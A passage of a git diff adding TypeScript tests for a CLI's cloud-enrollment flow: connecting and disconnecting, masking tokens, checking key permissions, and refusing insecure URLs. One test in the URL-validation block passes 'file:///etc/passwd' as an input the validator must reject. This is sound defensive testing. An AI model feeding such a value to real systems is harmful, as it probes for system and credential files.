many orgs — the host says nothing about which. + await connect(introspecting({ kind: "unsupported" })); + expect(readCredentials().org).toBeUndefined(); + }); + + it("also falls back when introspect is unreachable", async () => { + // A blip on one endpoint must not fail a connection whose real endpoints + // are answering fine. + const p = probes(); + const outcome = await connect(introspecting({ kind: "unreachable", reason: "ECONNRESET" }), p); + + expect(p.ran).toEqual({ policy: true, ingest: true }); + expect(outcome.anyConfigured).toBe(true); + }); +}); + +describe("what the user is told", () => { + it("names the org on a full connection", async () => { + const outcome = await connect(withPermissions("events:add", "policies:pull")); + expect(describeOutcome(outcome, "machine-1", "https://api.example.com").join("\n")).toContain( + "Acme Inc (acme)", + ); + }); + + it("names the org on the PARTIAL connections too", async () => { + // The case that makes it worth printing: a key pasted from the wrong org + // authenticates perfectly and reports somewhere nobody is looking. + for (const perm of ["events:add", "policies:pull"]) { + const outcome = await connect(withPermissions(perm)); + const text = describeOutcome(outcome, "machine-1", "https://api.example.com").join("\n"); + expect(text).toContain("Acme Inc (acme)"); + } + }); + + it("says nothing about an org when the server never named one", async () => { + const outcome = await connect(introspecting({ kind: "unsupported" })); + const text = describeOutcome(outcome, "machine-1", "https://api.example.com").join("\n"); + expect(text).toContain("Connected to https://api.example.com as machine-1."); + expect(text).not.toContain("into"); + }); +}); + +/** + * The URL guard, enforced at the boundary rather than assumed. + * + * `ConnectInput.url` was documented as "already validated by + * `validateCloudUrl`", and only ONE of the two callers did it. `--connect` + * validated; the interactive wizard — the documented primary path — checked + * `/^https?:\/\//` and handed the raw string to `validateIngestKey` and then + * here, so the flow most people use put the machine's bearer token on the wire + * in clear against any `http://` host. + */ +describe("the cloud URL", () => { + it("refuses plain http to a remote host, before probing anything", async () => { + const p = probes(); + const outcome = await connectToCloud({ + url: "http://cloud.example.com", + token: "k-secret", + machineId: "machine-1", + sessions: true, + introspect: withPermissions("events:add", "policies:pull"), + verifyPolicy: p.verifyPolicy, + verifyIngest: p.verifyIngest, + }); + + expect(outcome.anyConfigured).toBe(false); + expect(outcome.policy.reason).toMatch(/plain http/i); + // Nothing reached the network, and nothing was written — the token must not + // leave the machine even once to discover that the URL was unacceptable. + expect(p.ran).toEqual({ policy: false, ingest: false }); + expect(readCloudCredentials()).toBeNull(); + expect(readIngestCredential()).toBeNull(); + }); + + it("still allows plain http to loopback, which the local walkthrough needs", async () => { + const p = probes(); + const outcome = await connectToCloud({ + url: "http://localhost:8080", + token: "k-secret", + machineId: "machine-1", + sessions: true, + introspect: withPermissions("events:add", "policies:pull"), + verifyPolicy: p.verifyPolicy, + verifyIngest: p.verifyIngest, + }); + + expect(outcome.anyConfigured).toBe(true); + expect(p.ran).toEqual({ policy: true, ingest: true }); + }); +}); diff --git a/__tests__/hooks/cloud-enrollment-cli.test.ts b/__tests__/hooks/cloud-enrollment-cli.test.ts new file mode 100644 index 00000000..49beb672 --- /dev/null +++ b/__tests__/hooks/cloud-enrollment-cli.test.ts @@ -0,0 +1,390 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, existsSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; + +import { runConnectCommand, runDisconnectCommand, connectionStatusLines } from "../../src/hooks/cloud-enrollment-cli"; +import { cloudCredentialPath, readCloudCredentials, writeCloudCredentials } from "../../src/hooks/cloud-enrollment"; +import { readIngestCredential } from "../../src/hooks/collector-config"; +import { readHooksConfig } from "../../src/hooks/hooks-config"; +import { readConfig } from "../../src/hooks/fp-config"; + +let dir: string; +let realHome: string | undefined; +const ok = vi.fn(async () => ({ ok: true as const, policyCount: 3, generation: 12 })); +const ingestOk = vi.fn(async () => ({ ok: true as const })); +// A key carrying both permissions, so the capability gating is transparent here +// and each test exercises whatever `verify`/`verifyIngest` it injected. Reports +// no org, which keeps these assertions about the connect flow rather than about +// the org line — `cloud-connect-permissions.test.ts` covers the org and the +// permission gating on their own. +const introspectOk = vi.fn(async () => ({ + kind: "ok" as const, + identity: { permissions: ["events:add", "policies:pull"] }, +})); + +beforeEach(() => { + dir = mkdtempSync(resolve(tmpdir(), "fpai-enrollcli-")); + process.env.FAILPROOFAI_CLOUD_CREDENTIALS = resolve(dir, "cloud.json"); + process.env.FAILPROOFAI_HOME = resolve(dir, "home"); + // `--connect` now also writes the collector block, and that path resolves + // through `homedir()` rather than FAILPROOFAI_HOME — so without this the + // suite would edit the real `~/.failproofai/policies-config.json`. + realHome = process.env.HOME; + process.env.HOME = resolve(dir, "home"); + delete process.env.FAILPROOFAI_CLOUD_URL; + ok.mockClear(); + ingestOk.mockClear(); + introspectOk.mockClear(); +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_CLOUD_CREDENTIALS; + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_CLOUD_URL; + if (realHome === undefined) delete process.env.HOME; + else process.env.HOME = realHome; + rmSync(dir, { recursive: true, force: true }); +}); + +const base = { + url: "https://be.failproof.ai", + token: "a-machine-token", + verify: ok, + // Stubbed for the same reason `verify` is: a real call would reach the + // network from a unit test. + verifyIngest: ingestOk, + introspect: introspectOk, + daemonStatus: () => "running" as const, +}; + +describe("--connect", () => { + it("verifies before writing, and reports what is assigned", async () => { + const r = await runConnectCommand({ ...base, machineId: "m-1", machineLabel: "lab-1" }); + expect(r.exitCode).toBe(0); + // The label is the human name; the explicit id is shown in parentheses. + expect(r.lines.join("\n")).toMatch(/Connected to https:\/\/be\.failproof\.ai as lab-1 \(m-1\)/); + expect(r.lines.join("\n")).toMatch(/3 policies assigned \(generation 12\)/); + expect(readCloudCredentials()).toEqual({ + url: base.url, + machineId: "m-1", + token: base.token, + machineLabel: "lab-1", + }); + }); + + it("writes NOTHING when verification fails", async () => { + // A stored credential that does not work is worse than none — `--status` + // would then claim a connection this machine does not have. + const verify = vi.fn(async () => ({ ok: false as const, reason: "nope" })); + const r = await runConnectCommand({ ...base, verify, machineId: "m-1" }); + expect(r.exitCode).toBe(1); + expect(existsSync(cloudCredentialPath())).toBe(false); + }); + + it("never prints the token in full", async () => { + const r = await runConnectCommand({ ...base, machineId: "m-1" }); + expect(r.lines.join("\n")).not.toContain("a-machine-token"); + expect(r.lines.join("\n")).toMatch(/\*\*\*\*oken/); + }); + + it("takes the host name as the label and mints a stable id, not the host name", async () => { + // The silent-merge fix: two hosts both named "my-laptop" must not collapse + // into one machine, so the hostname becomes the label and the id is minted. + await runConnectCommand({ ...base, defaultMachineId: "my-laptop" }); + const creds = readCloudCredentials(); + expect(creds?.machineLabel).toBe("my-laptop"); + expect(creds?.machineId).not.toBe("my-laptop"); + expect(creds?.machineId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-/); + }); + + it("reuses an already-enrolled machine id instead of minting a new one", async () => { + // Re-running --connect must be idempotent: the machine keeps its identity. + await runConnectCommand({ ...base, defaultMachineId: "host-a" }); + const first = readCloudCredentials()?.machineId; + await runConnectCommand({ ...base, defaultMachineId: "host-a" }); + expect(readCloudCredentials()?.machineId).toBe(first); + }); + + it("refuses without a token, and says which key to make", async () => { + const r = await runConnectCommand({ url: base.url, machineId: "m", verify: ok }); + expect(r.exitCode).toBe(1); + expect(r.lines.join("\n")).toMatch(/policies:pull/); + expect(ok).not.toHaveBeenCalled(); + }); + + it("refuses plain http to a remote host before contacting anything", async () => { + const r = await runConnectCommand({ ...base, url: "http://cloud.example.com", machineId: "m" }); + expect(r.exitCode).toBe(1); + expect(ok).not.toHaveBeenCalled(); + }); + + it("succeeds but warns loudly when no daemon is installed", async () => { + // Enrolment is genuinely independent of the daemon — refusing would break + // baking an image where the daemon lands later — but credentials alone + // pull nothing, so it must not look finished. + const r = await runConnectCommand({ ...base, machineId: "m", daemonStatus: () => "not-installed" as const }); + expect(r.exitCode).toBe(0); + expect(readCloudCredentials()).not.toBeNull(); + expect(r.lines.join("\n")).toMatch(/not installed as a service, so nothing will be pulled/); + }); + + it("warns differently when the daemon is installed but stopped", async () => { + const r = await runConnectCommand({ ...base, machineId: "m", daemonStatus: () => "stopped" as const }); + expect(r.lines.join("\n")).toMatch(/not running/); + }); +}); + +describe("--disconnect", () => { + it("removes the credential and says what stops happening", () => { + writeCloudCredentials({ url: "https://x", machineId: "m", token: "t" }); + const r = runDisconnectCommand(); + expect(r.exitCode).toBe(0); + expect(existsSync(cloudCredentialPath())).toBe(false); + expect(r.lines.join("\n")).toMatch(/Local\s+builtin, custom and convention policies are unaffected/); + }); + + it("is a no-op, not an error, when not connected", () => { + const r = runDisconnectCommand(); + expect(r.exitCode).toBe(0); + expect(r.lines.join("\n")).toMatch(/not connected/); + }); +}); + +describe("status", () => { + it("says not connected when there is no credential", () => { + expect(connectionStatusLines(() => "running").join("\n")).toMatch(/not connected/); + }); + + it("shows the endpoint and machine id, with the token masked", () => { + writeCloudCredentials({ url: "https://be.failproof.ai", machineId: "m-9", token: "abcdefghijkl" }); + const out = connectionStatusLines(() => "running").join("\n"); + expect(out).toMatch(/connected to https:\/\/be\.failproof\.ai as m-9/); + expect(out).toMatch(/\*\*\*\*ijkl/); + expect(out).not.toContain("abcdefghijkl"); + }); + + it("reports the environment when it is set, because env wins in the daemon", () => { + // Showing the file here would describe a configuration that is not the one + // in effect. + writeCloudCredentials({ url: "https://from-file", machineId: "m", token: "t" }); + process.env.FAILPROOFAI_CLOUD_URL = "https://from-env"; + const out = connectionStatusLines(() => "running").join("\n"); + expect(out).toMatch(/configured by environment \(https:\/\/from-env\)/); + expect(out).not.toMatch(/from-file/); + }); +}); + +describe("a daemon running outside the service manager", () => { + it("does not claim nothing will be pulled when one is demonstrably running", async () => { + // daemonServiceStatus() asks systemd/launchd only, so a hand-run daemon — + // exactly what a developer testing locally has — read as absent and the + // command told them policy was not being pulled while it was. + const sockDir = mkdtempSync(resolve(tmpdir(), "fpai-sock-")); + const sock = resolve(sockDir, "failproofaid.sock"); + writeFileSync(sock, ""); + process.env.FAILPROOFAI_DAEMON_SOCKET = sock; + try { + const r = await runConnectCommand({ ...base, machineId: "m", daemonStatus: () => "not-installed" as const }); + const out = r.lines.join("\n"); + expect(out).toMatch(/running outside the service manager/); + expect(out).not.toMatch(/nothing will be pulled/); + expect(out).toMatch(/survive reboot and logout/); + } finally { + delete process.env.FAILPROOFAI_DAEMON_SOCKET; + rmSync(sockDir, { recursive: true, force: true }); + } + }); + + it("still warns plainly when there is no daemon at all", async () => { + process.env.FAILPROOFAI_DAEMON_SOCKET = resolve(dir, "definitely-absent.sock"); + try { + const r = await runConnectCommand({ ...base, machineId: "m", daemonStatus: () => "not-installed" as const }); + expect(r.lines.join("\n")).toMatch(/not installed as a service, so nothing will be pulled/); + } finally { + delete process.env.FAILPROOFAI_DAEMON_SOCKET; + } + }); +}); + +// --------------------------------------------------------------------------- +// One connection, two capabilities +// +// Enrolment and collection each arrived with their own credential, URL and +// setup step. Connecting for policy then left the dashboard empty with nothing +// to suggest a second step existed. +// --------------------------------------------------------------------------- + +describe("--connect configures policy AND the dashboard", () => { + it("writes both credentials from one url and token", async () => { + const r = await runConnectCommand({ ...base, machineId: "m-1" }); + expect(r.exitCode).toBe(0); + expect(readCloudCredentials()).not.toBeNull(); + expect(readIngestCredential()).toEqual({ + url: "https://be.failproof.ai/v1/events", + key: "a-machine-token", + }); + // The ingest endpoint is DERIVED, never asked for separately. + expect(ingestOk).toHaveBeenCalledWith( + expect.objectContaining({ url: "https://be.failproof.ai/v1/events" }), + ); + }); + + it("sends transcripts by default, and says so at the moment it takes effect", async () => { + // Transcripts are what makes a dashboard worth connecting to, so they are + // the default rather than an opt-in nobody discovers. A default that ships + // prompts and file contents has to be DISCLOSED where it takes effect — + // not left in --help — which is what the message assertion pins. + const r = await runConnectCommand({ ...base, machineId: "m-1", sessions: true }); + expect(readConfig().collector).toMatchObject({ hooks: true, sessions: true }); + const out = r.lines.join("\n"); + expect(out).toMatch(/full session transcripts/i); + expect(out).toMatch(/prompts, file/i); + expect(out).toMatch(/--no-transcripts/); + }); + + it("honours the explicit opt-out, and says THAT too", async () => { + // Stated on both branches, never only on the surprising one: somebody who + // opted out should be able to confirm it took, without reading a config file. + const r = await runConnectCommand({ ...base, machineId: "m-1", sessions: false }); + expect(readConfig().collector).toMatchObject({ hooks: true, sessions: false }); + expect(r.lines.join("\n")).toMatch(/transcripts are NOT being sent/i); + }); + + it("accepts the ingest endpoint too, rather than being pedantic about it", async () => { + // People paste what the older prompt asked for, or what is already in + // their ingest.json. + const r = await runConnectCommand({ + ...base, + url: "https://be.failproof.ai/events", + machineId: "m-1", + }); + expect(r.exitCode).toBe(0); + expect(readCloudCredentials()?.url).toBe("https://be.failproof.ai"); + // Pasted as the unversioned path, stored as the versioned one: the base is + // what we keep, and the ingest path is derived from it, not echoed back. + expect(readIngestCredential()?.url).toBe("https://be.failproof.ai/v1/events"); + }); +}); + +describe("a key that carries only one permission", () => { + it("connects for policy and names why the dashboard is empty", async () => { + const verifyIngest = vi.fn(async () => ({ + ok: false as const, + reason: "the server rejected that key (403)", + })); + const r = await runConnectCommand({ ...base, verifyIngest, machineId: "m-1" }); + + // Partial success, not failure: refusing to enrol for policy because the + // dashboard would be empty protects nothing. + expect(r.exitCode).toBe(0); + expect(readCloudCredentials()).not.toBeNull(); + expect(readIngestCredential()).toBeNull(); + const out = r.lines.join("\n"); + expect(out).toMatch(/for policy only/); + expect(out).toMatch(/403/); + expect(out).toMatch(/events:add/); + }); + + it("connects for the dashboard and says policy will not arrive", async () => { + const verify = vi.fn(async () => ({ ok: false as const, reason: "lacks policies:pull (403)" })); + const r = await runConnectCommand({ ...base, verify, machineId: "m-1" }); + + // Non-zero even though the dashboard IS configured: the exit code tracks + // the primary purpose, so a provisioning script stops rather than treating + // an unenrolled machine as done. + expect(r.exitCode).toBe(1); + expect(readCloudCredentials()).toBeNull(); + expect(readIngestCredential()).not.toBeNull(); + const out = r.lines.join("\n"); + expect(out).toMatch(/dashboard reporting only/); + expect(out).toMatch(/will not receive centrally-managed/); + }); + + it("fails, writing nothing, when neither works", async () => { + const verify = vi.fn(async () => ({ ok: false as const, reason: "bad token" })); + const verifyIngest = vi.fn(async () => ({ ok: false as const, reason: "bad key" })); + const r = await runConnectCommand({ ...base, verify, verifyIngest, machineId: "m-1" }); + expect(r.exitCode).toBe(1); + expect(readCloudCredentials()).toBeNull(); + expect(readIngestCredential()).toBeNull(); + }); + + it("reports BOTH reasons, so one fix does not just reveal the next", async () => { + const verify = vi.fn(async () => ({ ok: false as const, reason: "bad token" })); + const verifyIngest = vi.fn(async () => ({ ok: false as const, reason: "bad key" })); + const r = await runConnectCommand({ ...base, verify, verifyIngest, machineId: "m-1" }); + expect(r.lines.join("\n")).toMatch(/bad token/); + expect(r.lines.join("\n")).toMatch(/bad key/); + }); +}); + +describe("--disconnect means disconnect", () => { + it("stops sending activity as well as pulling policy", async () => { + // Clearing only the policy credential would leave the machine shipping to + // a cloud the user believes they have left. + await runConnectCommand({ ...base, machineId: "m-1" }); + expect(readIngestCredential()).not.toBeNull(); + + const r = runDisconnectCommand(); + expect(r.exitCode).toBe(0); + expect(readCloudCredentials()).toBeNull(); + expect(readIngestCredential()).toBeNull(); + expect(r.lines.join("\n")).toMatch(/No new hook activity or transcripts will be queued/); + }); + + it("names the restart rather than claiming a running daemon already stopped", async () => { + // It used to print "Hook activity and transcripts stop being sent", which + // was not true yet: the collector manager starts once for the daemon's + // lifetime (`main.rs`) and the uploader caches its bearer key at + // construction, so a running failproofaid never notices the credential + // file disappear. The claim only became true at the next daemon start. + await runConnectCommand({ ...base, machineId: "m-1" }); + const text = runDisconnectCommand().lines.join("\n"); + expect(text).toMatch(/restart it to stop the current process/); + expect(text).not.toMatch(/transcripts stop being sent/); + }); + + it("stops ENFORCING cloud-managed policies, not just refreshing them", async () => { + // Clearing the credential ends polling. Every artifact already on disk + // stayed referenced by active.json and kept being loaded on every tool + // call, so a machine that had deliberately left its organisation went on + // being governed by whatever generation was current when it left. + await runConnectCommand({ ...base, machineId: "m-1" }); + const managedRoot = resolve(dir, "home", "policies", "cloud-policies"); + mkdirSync(managedRoot, { recursive: true }); + writeFileSync( + resolve(managedRoot, "active.json"), + JSON.stringify({ schemaVersion: 1, generation: 4, policies: [] }), + ); + + runDisconnectCommand(); + + expect(existsSync(resolve(managedRoot, "active.json"))).toBe(false); + }); +}); + +describe("status shows one connection with two capabilities", () => { + it("flags a machine that pulls policy but reports nothing", async () => { + const verifyIngest = vi.fn(async () => ({ ok: false as const, reason: "403" })); + await runConnectCommand({ ...base, verifyIngest, machineId: "m-1" }); + const out = connectionStatusLines(() => "running").join("\n"); + expect(out).toMatch(/Dashboard NOT sending/); + expect(out).toMatch(/--connect/); + }); + + it("flags a machine that reports but pulls no policy", async () => { + const verify = vi.fn(async () => ({ ok: false as const, reason: "403" })); + await runConnectCommand({ ...base, verify, machineId: "m-1" }); + const out = connectionStatusLines(() => "running").join("\n"); + expect(out).toMatch(/reporting only/); + expect(out).toMatch(/Policy\s+NOT pulling/); + }); + + it("shows both when both are configured", async () => { + await runConnectCommand({ ...base, machineId: "m-1" }); + const out = connectionStatusLines(() => "running").join("\n"); + expect(out).toMatch(/Policy\s+pulling/); + expect(out).toMatch(/Dashboard sending hook activity/); + }); +}); diff --git a/__tests__/hooks/cloud-enrollment.test.ts b/__tests__/hooks/cloud-enrollment.test.ts new file mode 100644 index 00000000..50a1d040 --- /dev/null +++ b/__tests__/hooks/cloud-enrollment.test.ts @@ -0,0 +1,229 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { createServer, type Server } from "node:http"; +import { mkdtempSync, readFileSync, rmSync, statSync, writeFileSync, existsSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { credentialsFile } from "../../src/hooks/fp-home"; + +import { hostname } from "node:os"; +import { + clearCloudCredentials, + cloudCredentialPath, + maskToken, + readCloudCredentials, + resolveMachineId, + resolveMachineLabel, + validateCloudUrl, + verifyCloudCredentials, + writeCloudCredentials, +} from "../../src/hooks/cloud-enrollment"; + +let dir: string; + +beforeEach(() => { + dir = mkdtempSync(resolve(tmpdir(), "fpai-enroll-")); + process.env.FAILPROOFAI_CLOUD_CREDENTIALS = resolve(dir, "cloud.json"); +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_CLOUD_CREDENTIALS; + rmSync(dir, { recursive: true, force: true }); +}); + +describe("resolveMachineId", () => { + it("uses an explicit id verbatim", () => { + expect(resolveMachineId("prod-build-3")).toBe("prod-build-3"); + expect(resolveMachineId(" spaced ")).toBe("spaced"); + }); + + it("mints a fresh UUID when nothing is enrolled and none is given", () => { + const id = resolveMachineId(); + expect(id).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/); + // Not the hostname — that is the whole point of minting. + expect(id).not.toBe(hostname()); + }); + + it("reuses the already-enrolled id instead of minting again", () => { + writeCloudCredentials({ url: "https://x", machineId: "existing-id", token: "t" }); + expect(resolveMachineId()).toBe("existing-id"); + // An explicit id still overrides a stored one. + expect(resolveMachineId("override")).toBe("override"); + }); +}); + +describe("resolveMachineLabel", () => { + it("uses an explicit label, else falls back to the hostname", () => { + expect(resolveMachineLabel("Chetan's laptop")).toBe("Chetan's laptop"); + expect(resolveMachineLabel(" ")).toBe(hostname()); + expect(resolveMachineLabel()).toBe(hostname()); + }); +}); + +describe("machineLabel round-trips through the credentials.toml [cloud] table", () => { + // The default tests use the JSON override; this one exercises the real TOML + // path (layout 2), where the label lives in the [cloud] table of + // credentials.toml and must survive a write → read. + let homeDir: string; + beforeEach(() => { + delete process.env.FAILPROOFAI_CLOUD_CREDENTIALS; + homeDir = mkdtempSync(resolve(tmpdir(), "fpai-home-")); + process.env.FAILPROOFAI_HOME = homeDir; + }); + afterEach(() => { + delete process.env.FAILPROOFAI_HOME; + rmSync(homeDir, { recursive: true, force: true }); + }); + + it("writes machine_label into the TOML and reads it back", () => { + writeCloudCredentials({ + url: "https://be.failproof.ai", + machineId: "id-123", + token: "tok", + machineLabel: "Chetan's laptop", + }); + expect(readFileSync(credentialsFile(), "utf8")).toMatch(/machine_label = "Chetan's laptop"/); + expect(readCloudCredentials()).toEqual({ + url: "https://be.failproof.ai", + machineId: "id-123", + token: "tok", + machineLabel: "Chetan's laptop", + }); + }); + + it("omits machine_label when there is none, and reads back undefined", () => { + writeCloudCredentials({ url: "https://x", machineId: "id-1", token: "t" }); + expect(readFileSync(credentialsFile(), "utf8")).not.toMatch(/machine_label/); + expect(readCloudCredentials()?.machineLabel).toBeUndefined(); + }); +}); + +describe("validateCloudUrl", () => { + it("accepts https and normalises a trailing slash", () => { + expect(validateCloudUrl("https://be.failproof.ai/")).toEqual({ ok: true, url: "https://be.failproof.ai" }); + }); + + it("REFUSES plain http to a remote host — the token is a bearer credential", () => { + const r = validateCloudUrl("http://cloud.example.com"); + expect(r.ok).toBe(false); + if (!r.ok) expect(r.reason).toMatch(/plain http/); + }); + + it("allows http for loopback, which local development needs", () => { + expect(validateCloudUrl("http://localhost:8080").ok).toBe(true); + expect(validateCloudUrl("http://127.0.0.1:8080").ok).toBe(true); + }); + + it("rejects a non-URL and a non-http scheme", () => { + expect(validateCloudUrl("be.failproof.ai").ok).toBe(false); + expect(validateCloudUrl("ftp://cloud.example").ok).toBe(false); + expect(validateCloudUrl("file:///etc/passwd").ok).toBe(false); + }); +}); + +describe("maskToken", () => { + it("keeps only enough to tell two keys apart", () => { + expect(maskToken("abcdefghijkl")).toBe("****ijkl"); + expect(maskToken("ab")).toBe("****"); + }); +}); + +describe("credential storage", () => { + const creds = { url: "https://be.failproof.ai", machineId: "m-1", token: "super-secret-token" }; + + it("round-trips", () => { + writeCloudCredentials(creds); + expect(readCloudCredentials()).toEqual(creds); + }); + + it("writes owner-only, because this is a bearer credential", () => { + writeCloudCredentials(creds); + expect(statSync(cloudCredentialPath()).mode & 0o777).toBe(0o600); + }); + + it("reads as not-connected when absent, malformed, or a future schema", () => { + expect(readCloudCredentials()).toBeNull(); + writeFileSync(cloudCredentialPath(), "{ not json"); + expect(readCloudCredentials()).toBeNull(); + writeFileSync(cloudCredentialPath(), JSON.stringify({ schemaVersion: 99, url: "u", machineId: "m", token: "t" })); + expect(readCloudCredentials()).toBeNull(); + }); + + it("treats a partial record as not connected rather than half-configured", () => { + writeFileSync(cloudCredentialPath(), JSON.stringify({ schemaVersion: 1, url: "https://x", machineId: "m" })); + expect(readCloudCredentials()).toBeNull(); + writeFileSync(cloudCredentialPath(), JSON.stringify({ schemaVersion: 1, url: "", machineId: "m", token: "t" })); + expect(readCloudCredentials()).toBeNull(); + }); + + it("clearCloudCredentials removes the file and reports whether there was one", () => { + writeCloudCredentials(creds); + expect(clearCloudCredentials()).toBe(true); + expect(existsSync(cloudCredentialPath())).toBe(false); + expect(clearCloudCredentials()).toBe(false); + }); +}); + +describe("verifyCloudCredentials", () => { + let server: Server; + let base: string; + let lastAuth: string | undefined; + let respond: (path: string) => { status: number; body: string }; + + beforeEach(async () => { + respond = () => ({ status: 200, body: JSON.stringify({ schemaVersion: 1, generation: 4, policies: [] }) }); + server = createServer((req, res) => { + lastAuth = req.headers.authorization; + const { status, body } = respond(req.url ?? ""); + res.writeHead(status, { "content-type": "application/json" }); + res.end(body); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", r)); + const addr = server.address(); + base = `http://127.0.0.1:${typeof addr === "object" && addr ? addr.port : 0}`; + }); + + afterEach(async () => { + await new Promise((r) => server.close(() => r())); + }); + + const creds = () => ({ url: base, machineId: "m-1", token: "the-token" }); + + it("sends the token as a bearer against the machine's own desired-state", async () => { + let seenUrl = ""; + respond = (url) => { + seenUrl = url; + return { status: 200, body: JSON.stringify({ generation: 9, policies: [{ id: "a" }, { id: "b" }] }) }; + }; + const result = await verifyCloudCredentials(creds()); + expect(result).toEqual({ ok: true, policyCount: 2, generation: 9 }); + expect(lastAuth).toBe("Bearer the-token"); + expect(seenUrl).toContain("/enforcement/v1/desired-state?machineId=m-1"); + }); + + it("names the actual problem on 401 and 403", async () => { + // These are the two mistakes people actually make — a truncated key, and + // an admin key without policies:pull. A bare "failed" makes the operator + // guess between them. + respond = () => ({ status: 401, body: "{}" }); + const unauthorized = await verifyCloudCredentials(creds()); + expect(unauthorized.ok).toBe(false); + if (!unauthorized.ok) expect(unauthorized.reason).toMatch(/rejected this token/); + + respond = () => ({ status: 403, body: "{}" }); + const forbidden = await verifyCloudCredentials(creds()); + expect(forbidden.ok).toBe(false); + if (!forbidden.ok) expect(forbidden.reason).toMatch(/policies:pull/); + }); + + it("rejects a 200 that is not a desired-state document", async () => { + respond = () => ({ status: 200, body: "hello" }); + const r = await verifyCloudCredentials(creds()); + expect(r.ok).toBe(false); + if (!r.ok) expect(r.reason).toMatch(/not with a desired-state document/); + }); + + it("reports an unreachable server rather than throwing", async () => { + const r = await verifyCloudCredentials({ url: "http://127.0.0.1:1", machineId: "m", token: "t" }); + expect(r.ok).toBe(false); + }); +}); diff --git a/__tests__/hooks/cloud-introspect.test.ts b/__tests__/hooks/cloud-introspect.test.ts new file mode 100644 index 00000000..ea5a90fb --- /dev/null +++ b/__tests__/hooks/cloud-introspect.test.ts @@ -0,0 +1,200 @@ +import { describe, it, expect } from "vitest"; +import { + introspectKey, + introspectUrlFor, + hasPermission, + describeOrg, + PERMISSION_EVENTS, + PERMISSION_POLICIES, + type KeyIdentity, +} from "../../src/hooks/cloud-introspect"; + +/** A fetch that answers once with the given status/body, recording the request. */ +function stubFetch(res: { + status: number; + body?: unknown; + text?: string; + throws?: Error; +}): typeof fetch & { calls: Array<{ url: string; init: RequestInit }> } { + const calls: Array<{ url: string; init: RequestInit }> = []; + const impl = (async (url: string, init: RequestInit) => { + calls.push({ url: String(url), init }); + if (res.throws) throw res.throws; + return { + status: res.status, + ok: res.status >= 200 && res.status < 300, + json: async () => { + if (res.text !== undefined) throw new SyntaxError("not json"); + return res.body; + }, + } as unknown as Response; + }) as unknown as typeof fetch & { calls: typeof calls }; + impl.calls = calls; + return impl; +} + +const VALID = { + key_id: "key_abc", + org_id: "org_123", + org_slug: "acme", + org_name: "Acme Inc", + permissions: ["events:add", "policies:pull", "issues:read"], + expires_at: null, +}; + +describe("introspectUrlFor", () => { + it("appends the versioned path and tolerates a trailing slash", () => { + expect(introspectUrlFor("https://api.example.com")).toBe( + "https://api.example.com/v1/auth/introspect", + ); + expect(introspectUrlFor("https://api.example.com/")).toBe( + "https://api.example.com/v1/auth/introspect", + ); + }); +}); + +describe("introspectKey", () => { + it("returns the identity and the EFFECTIVE permission set", async () => { + const f = stubFetch({ status: 200, body: VALID }); + const r = await introspectKey("https://api.example.com", "k-secret", f); + + expect(r.kind).toBe("ok"); + if (r.kind !== "ok") return; + expect(r.identity.orgSlug).toBe("acme"); + expect(r.identity.orgId).toBe("org_123"); + // `issues:read` is implied, not granted — the server widens the set at auth + // time and enforces against the widened one, so that is what we must read. + expect(r.identity.permissions).toContain("issues:read"); + }); + + it("sends the token as a bearer and never as a query parameter", async () => { + // A key in a URL lands in access logs, proxy logs and browser history. + const f = stubFetch({ status: 200, body: VALID }); + await introspectKey("https://api.example.com", "k-secret", f); + + expect(f.calls[0].url).not.toContain("k-secret"); + expect((f.calls[0].init.headers as Record).Authorization).toBe( + "Bearer k-secret", + ); + }); + + it("treats 401 and 403 as a refused key", async () => { + for (const status of [401, 403]) { + const r = await introspectKey("https://api.example.com", "bad", stubFetch({ status })); + expect(r.kind).toBe("rejected"); + } + }); + + it("treats 404 as an older server, NOT as a bad key", async () => { + // The CLI ships independently of the server a customer runs. Reading "this + // deployment has no such route" as "your key is invalid" would strand every + // good key on every server older than the endpoint. + const r = await introspectKey("https://api.example.com", "k", stubFetch({ status: 404 })); + expect(r.kind).toBe("unsupported"); + }); + + it("does not follow redirects, and reads one as unsupported", async () => { + // The dashboard app answers unrouted paths and will 307 to a login page + // that then returns 200 — which would otherwise read as a valid key + // against an endpoint that authenticated nothing at all. + const f = stubFetch({ status: 307 }); + const r = await introspectKey("https://api.example.com", "k", f); + + expect(r.kind).toBe("unsupported"); + expect(f.calls[0].init.redirect).toBe("manual"); + }); + + it("reads a 200 that is not JSON as unsupported", async () => { + // A proxy or static host answering 200/text is not an introspect endpoint. + const r = await introspectKey( + "https://api.example.com", + "k", + stubFetch({ status: 200, text: "hello" }), + ); + expect(r.kind).toBe("unsupported"); + }); + + it("reads a 200 with no permissions array as unsupported", async () => { + const r = await introspectKey( + "https://api.example.com", + "k", + stubFetch({ status: 200, body: { hello: "world" } }), + ); + expect(r.kind).toBe("unsupported"); + }); + + it("honours an explicit valid:false on a 200", async () => { + // Not a documented shape, but reading a negative assertion as success + // would be the worst possible way to be wrong about it. + const r = await introspectKey( + "https://api.example.com", + "k", + stubFetch({ status: 200, body: { valid: false, permissions: [] } }), + ); + expect(r.kind).toBe("rejected"); + }); + + it("reports a 500 as unreachable rather than as a bad key", async () => { + // A server having a bad day must not send someone off to rotate a key + // that is perfectly fine. + const r = await introspectKey("https://api.example.com", "k", stubFetch({ status: 500 })); + expect(r.kind).toBe("unreachable"); + }); + + it("reports a transport failure without echoing the URL", async () => { + // Setup gets run while screen-sharing, and the host may be one the user + // would rather not put on screen. + const r = await introspectKey( + "https://internal.customer.example", + "k", + stubFetch({ status: 0, throws: new Error("getaddrinfo ENOTFOUND") }), + ); + expect(r.kind).toBe("unreachable"); + if (r.kind !== "unreachable") return; + expect(r.reason).toContain("ENOTFOUND"); + expect(r.reason).not.toContain("internal.customer.example"); + }); + + it("gives up rather than hanging when the server never answers", async () => { + // A hung connect on the setup path is worse than a failure: the wizard is + // blocking a terminal with no indication anything is wrong. + const never = (async (_u: 